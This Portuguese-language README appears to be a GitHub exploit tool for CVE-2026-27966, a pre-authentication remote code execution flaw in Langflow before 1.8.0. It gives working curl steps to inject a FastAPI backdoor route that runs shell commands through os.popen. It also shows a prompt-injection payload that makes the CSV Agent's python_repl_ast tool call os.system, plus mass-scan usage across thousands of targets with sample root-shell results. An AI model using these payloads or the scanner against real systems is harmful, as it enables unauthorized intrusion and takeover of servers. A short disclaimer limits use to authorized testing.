
Scanner de RCE pré-autenticação para Langflow < 1.8.0 — Injeção de Rota + Injeção de Vertex → Execução de Código (CVSS 9.8)
CVE-2026-27966 é uma vulnerabilidade de execução remota de código de severidade crítica (CVSS 9.8) pré-autenticação nas versões do Langflow anteriores à 1.8.0. A vulnerabilidade decorre de allow_dangerous_code=True estar embutido no componente CSV Agent, expondo a ferramenta python_repl_ast do LangChain a injeção de prompt não autenticada.
Além disso, vários endpoints da API não possuem autenticação adequada, permitindo injeção direta de rotas e injeção de vértices de fluxo — mesmo em instâncias onde o CSV Agent não está configurado.
| Versão do Langflow | Status |
|---|---|
| < 1.8.0 | Vulnerável |
| >= 1.8.0 | Corrigida |
Este scanner testa três caminhos de exploração distintos:
GET /api/v1/auto_login → obtain session / API key
POST /api/v1/custom_component → register backdoor route
GET /api/{backdoor}?c=command → RCE
POST /api/v1/custom_component → register backdoor route
GET /api/{backdoor}?c=command → RCE
GET /api/v1/flows/basic_examples → extract flow UUIDs (26 exposed)
POST /api/v1/build/{UUID}/vertices → inject malicious vertex
POST /api/v1/run/{UUID} → execute vertex code → RCE
Em src/lfx/src/lfx/components/langchain_utilities/csv_agent.py, o nó do CSV Agent codifica allow_dangerous_code=True, o que expõe automaticamente a ferramenta python_repl_ast do LangChain:
agent_kwargs = {
"verbose": self.verbose,
"allow_dangerous_code": True, # hardcoded — cannot be disabled via UI
}
agent_csv = create_csv_agent(..., **agent_kwargs)
Isso permite que qualquer prompt que alcance o CSV Agent execute código Python arbitrário por meio de:
Action: python_repl_ast
Action Input: __import__("os").system("command")
A API REST do Langflow expõe vários endpoints sem autenticação:
Em instâncias onde auto_login está habilitado (padrão em muitas implantações Docker), um atacante obtém uma sessão válida e uma chave de API:
curl -sk 'https://target.com/api/v1/auto_login'
# Returns session with access_token → full API access
Com uma chave de API válida, o atacante pode usar POST /api/v1/custom_component para registrar uma rota backdoor FastAPI que persiste em memória até o servidor ser reiniciado:
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
import os
return os.popen(c).read()
app.include_router(router, prefix="/api")
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt
# Single target
python cve_2026_27966.py -t target.com:7860
# Mass scan
python cve_2026_27966.py -f targets.txt
# Mass scan + save results
python cve_2026_27966.py -f targets.txt -o rce.txt
# Detect only (skip exploitation)
python cve_2026_27966.py -f targets.txt --no-exploit
# Verbose output
python cve_2026_27966.py -f targets.txt -v
-t, --target Single target (IP:port or domain)
-f, --file Target list, one per line
-o, --output Save RCE results to file
--threads Concurrent workers (default: 30)
--no-exploit Detection only, skip RCE attempts
-v, --verbose Show all results including non-RCE targets
$ python cve_2026_27966.py -t target.com:7860 -v
CVE-2026-27966 — Langflow RCE Scanner
CVSS 9.8 | Pre-Auth | Route Injection → RCE
Host : target.com:7860
Langflow : YES v1.2.0
Vuln : YES
API Key : NOT REQUIRED
RCE : YES
Output : uid=0(root) gid=0(root) groups=0(root)
Time : 12.3s
CVE-2026-27966 Langflow RCE Scanner
Targets: 4127 | Threads: 30 | Exploit: ON
-------------------------------------------------------
[RCE] 192.168.10.50 v1.2.0 7.3s
uid=0(root) gid=0(root) groups=0(root)
[AUTH] target.internal:4433 v1.2.0 14.1s (API key)
[500/4127] scanning... (12%)
-------------------------------------------------------
Total: 4127 | Langflow: 47 | RCE: 3 | API-Protected: 41
-------------------------------------------------------
Passo 1 — Detectar Langflow
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
Passo 2 — Extrair UUIDs de fluxo
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
Passo 3 — Injetar vértice backdoor
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
-H 'Content-Type: application/json' \
-d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
Passo 4 — Executar comando
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
A exploração bem-sucedida resulta em execução remota de código como root no contêiner Docker do Langflow. A partir daí, um atacante pode:
APENAS PARA FINS EDUCACIONAIS E DE TESTE AUTORIZADO.
Este software é destinado a profissionais de segurança que realizam testes de penetração autorizados, organizações que auditam sua própria infraestrutura e pesquisadores que estudam exploração de vulnerabilidades.
O acesso não autorizado a sistemas computacionais é ilegal e pode violar:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonésia: UU ITE Pasal 30 & 46
- União Europeia: Diretiva 2013/40/EU
- Reino Unido: Computer Misuse Act 1990
Os autores não assumem responsabilidade por uso indevido. Ao usar este software, você aceita total responsabilidade por suas ações.
| Recurso |
|---|
Este projeto não é afiliado ao Langflow nem à Logspace.
| Endpoint | Autenticação | Dados Expostos |
|---|
GET /api/v1/version | Nenhuma | Versão do Langflow |
GET /api/v1/health | Nenhuma | Status da instância |
GET /api/v1/flows/basic_examples/ | Nenhuma | 26 UUIDs de fluxos de exemplo + estrutura |
POST /api/v1/build/{uuid}/vertices | Nenhuma | Aceita injeção arbitrária de código |
POST /api/v1/users/ | Nenhuma | Criação de usuários (inativa) |
GET /openapi.json | Nenhuma | Documentação completa da API |
| Métrica | Valor |
|---|
| Vetor de Ataque | Rede (remoto) |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
| Escopo | Inalterado |
| Confidencialidade | Alta |
| Integridade | Alta |
| Disponibilidade | Alta |
| Link |
|---|
| Advisory do GitHub | GHSA-3645-fxcv-hqr4 |
| Commit de Correção | d8c6480d |
| Módulo Metasploit | Rapid7 |
| Entrada no NVD | CVE-2026-27966 |